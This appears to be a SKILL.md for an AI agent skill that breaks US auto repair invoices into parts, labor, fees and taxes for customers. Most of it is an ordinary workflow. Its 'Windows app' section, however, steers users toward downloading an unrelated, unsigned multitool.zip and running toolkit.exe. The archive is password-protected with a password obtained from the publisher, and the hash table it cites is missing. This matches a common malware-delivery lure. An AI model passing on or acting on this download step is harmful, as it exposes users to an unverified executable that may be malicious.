Auto Repair Invoice Explainer

Breaks down a US auto repair invoice into labor, parts, fees and taxes with plain-language explanations for customers. Written for US independent auto repair shops and service advisors explaining invoices to customers.

Use this skill when someone asks for:

• auto repair invoice explanation
• car repair breakdown
• mechanic invoice explain
• labor parts fees

The job

Customers don't understand line items on repair invoices and dispute charges, slowing down payment for shops.

What you get

1. Collect the invoice with parts, labor hours, shop fees and taxes.
2. Categorize each line item as parts, labor, fees or taxes with plain explanations.
3. Flag any line items that look unusual or need shop clarification.
4. Produce a customer-friendly breakdown with questions the advisor can answer.

Output contract:

• breakdown - line items categorized as parts/labor/fees/taxes with explanations
• questions - questions the customer may ask with suggested advisor responses
• clarifications - line items needing shop verification
• summary - total breakdown in plain language

US specifics that matter

• In many US states, auto repair shops must provide written estimates before work over a certain dollar amount; rules vary by state.
• Some states require shops to disclose parts pricing (new, rebuilt, used) and labor rates on invoices.
• Sales tax on auto repair varies by state - some tax parts only, some tax labor, some tax both; check the state of the shop.

Guardrails (hard rules)

• Never guess at warranty coverage - refer to the shop's actual warranty terms.
• Never dispute or negotiate prices; only explain the existing invoice.
• Never include customer personal data or vehicle ID numbers in example outputs.

Quickstart

1. Fill in the brief

templates/repair-invoice.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/explain_invoice.py --input repair-invoice.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/auto-repair-invoice.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Common invoice elements

• Parts: OEM, aftermarket, rebuilt or used with part numbers.
• Labor: hours billed at shop rate, often flat rate or hourly.
• Fees: shop supplies, hazmat disposal, diagnostic fees - some regulated by state.
• Taxes: vary by state and by what's taxable (parts/labor).

Customer explanation points

• Flat rate means the time billed is the standard time for the job, not clock time.
• Shop supplies cover small items like rags, cleaners or sealants used in the job.
• Diagnostic fees may apply even if customer declines repairs - check state rules.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/auto-repair-invoice.md - US auto repair invoice basics
• templates/repair-invoice.yaml - the brief to fill in
• scripts/explain_invoice.py - the working script

Verify the bundle

python3 scripts/explain_invoice.py --input repair-invoice.yaml --out ./out

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